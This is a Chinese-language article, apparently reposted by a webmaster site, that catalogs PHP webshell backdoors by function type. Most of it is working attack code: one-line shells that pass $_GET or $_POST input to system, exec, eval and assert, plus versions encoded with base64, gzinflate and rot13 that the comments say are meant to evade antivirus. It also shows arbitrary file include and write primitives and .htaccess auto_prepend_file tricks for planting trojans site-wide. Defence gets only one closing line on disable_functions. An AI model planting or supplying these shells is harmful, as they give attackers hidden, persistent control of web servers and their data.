php后門木馬常用的函數大致上可分為四種類型: 1. 執行系統命令: system, passthru, shell_exec, exec, popen, proc_open 2. 代碼執行與加密: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13 3. 文件包含與生成: require, require_once, include, include_once, file_get_contents, file_put_contents, fputs, fwrite 4. .htaccess: SetHandler, auto_prepend_file, auto_append_file 1. 執行系統命令: system 函數 //test.php?cmd=ls system($_GET[cmd]); passthru 函數 //test.php?cmd=ls passthru($_GET[cmd]); shell_exec 函數 //test.php?cmd=ls echo shell_exec($_GET[cmd]); exec 函數 //test.php?cmd=ls $arr = array(); exec($_GET[cmd],$arr); print_r($arr); popen 函數 //test.php?cmd=ls $handle = popen('$_GET[cmd], 'r'); $read = fread($handle, 2096); echo $read; pclose($handle); proc_open 函數 //test.php?cmd=ls $descriptorspec = array( 0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'w'), ); $proc = @proc_open($_GET[cmd], $descriptorspec, $pipes); fclose($pipes[0]); $output = array(); while (!feof($pipes[1])) array_push($output, rtrim(fgets($pipes[1],1024),"\n")); print_r($output); 2. 代碼執行與加密: eval 函數 //最常見的一句話木馬 eval($_POST[cmd]); base64_decode 函數 //為了免殺及隱藏而加密代碼 //密文: eval($_POST['cmd']); eval(base64_decode('ZXZhbCgkX1BPU1RbJ2NtZCddKTs=')); gzinflate 函數 //為了免殺及隱藏而加密代碼 //密文: eval($_POST['cmd']); eval(gzinflate(base64_decode('Sy1LzNFQiQ/wDw6JVk/OTVGP1bQGAA=='))); gzuncompress 函數 //為了免殺及隱藏而加密代碼 //密文: eval($_POST['cmd']); eval(gzuncompress(base64_decode('eJxLLUvM0VCJD/APDolWT85NUY/VtAYARQUGOA=='))); gzdecode 函數 //為了免殺及隱藏而加密代碼 //密文: eval($_POST['cmd']); eval(gzdecode(base64_decode('H4sIAAAAAAAAA0stS8zRUIkP8A8OiVZPzk1Rj9W0BgA5YQfAFAAAAA=='))); str_rot13 函數 //為了免殺及隱藏而加密代碼 //密文: eval($_POST[cmd]); eval(str_rot13('riny($_CBFG[pzq]);')); assert 函數 //類似eval函數 assert($_POST[cmd]); call_user_func 函數 //使用call_user_func調用assert call_user_func('assert',$_POST[cmd]); call_user_func 函數 //使用call_user_func調用任意函數 //test.php?a=assert&cmd=phpinfo() call_user_func($_GET[a],$_REQUEST[cmd]); 組合代碼 //組合方式調用任意函數 //test.php?a=assert&cmd=phpinfo() $_GET[a]($_REQUEST[cmd]); 3. 文件包含與生成: require 函數 //包含任意文件 //test.php?file=123.jpg require($_GET[file]); require_once 函數 //包含任意文件 //test.php?file=123.jpg require_once($_GET[file]); include 函數 //包含任意文件 www.jb51.net //test.php?file=123.jpg include($_GET[file]); include_once 函數 //包含任意文件 //test.php?file=123.jpg include_once($_GET[file]); file_get_contents 函數 //讀取任意文件 //test.php?f=config.inc.php echo file_get_contents($_GET['f']); file_put_contents 函數 //生成任意內容文件 //a=test.php&b= file_put_contents($_GET[a],$_GET[b]); fputs 函數 //生成任意內容文件 //a=test.php&b= fputs(fopen($_GET[a],"w"),$_GET[b]); 4. .htaccess: SetHandler //可將php代碼存于非php后綴文件,例: x.jpg //將以下代碼寫入.htaccess中 //連接x.jpg即可啟動后門 SetHandler application/x-httpd-php auto_prepend_file //可將php代碼存于非php后綴文件,例: 123.gif //將以下代碼寫入.htaccess中, 文件路徑必須是絕對路徑 //訪問網站上任何php文件都會啟動該php后門木馬 //可在不更改站點源代碼的情況下記錄所有$_REQUEST的值,也可批量掛馬 php_value auto_prepend_file c:/apache2/htdocs/123.gif auto_append_file //類似auto_prepend_file //可將php代碼存于非php后綴文件,例: 123.gif //將以下代碼寫入.htaccess中, 文件路徑必須是絕對路徑 //訪問網站上任何php文件都會啟動該php后門木馬 php_value auto_append_file c:/apache2/htdocs/123.gif 防范方法:通過禁止危險函數 php.ini中設置disable_functions |
免責聲明:本站部分文章和圖片均來自用戶投稿和網絡收集,旨在傳播知識,文章和圖片版權歸原作者及原出處所有,僅供學習與參考,請勿用于商業用途,如果損害了您的權利,請聯系我們及時修正或刪除。謝謝!
始終以前瞻性的眼光聚焦站長、創業、互聯網等領域,為您提供最新最全的互聯網資訊,幫助站長轉型升級,為互聯網創業者提供更加優質的創業信息和品牌營銷服務,與站長一起進步!讓互聯網創業者不再孤獨!
掃一掃,關注站長網微信